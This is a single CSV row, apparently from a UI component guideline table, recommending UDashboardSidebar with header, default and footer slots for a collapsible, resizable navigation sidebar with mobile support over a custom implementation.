navigation,Provides collapsible resizable sidebar with mobile support,UDashboardSidebar with header default footer slots,Custom sidebar implementation,,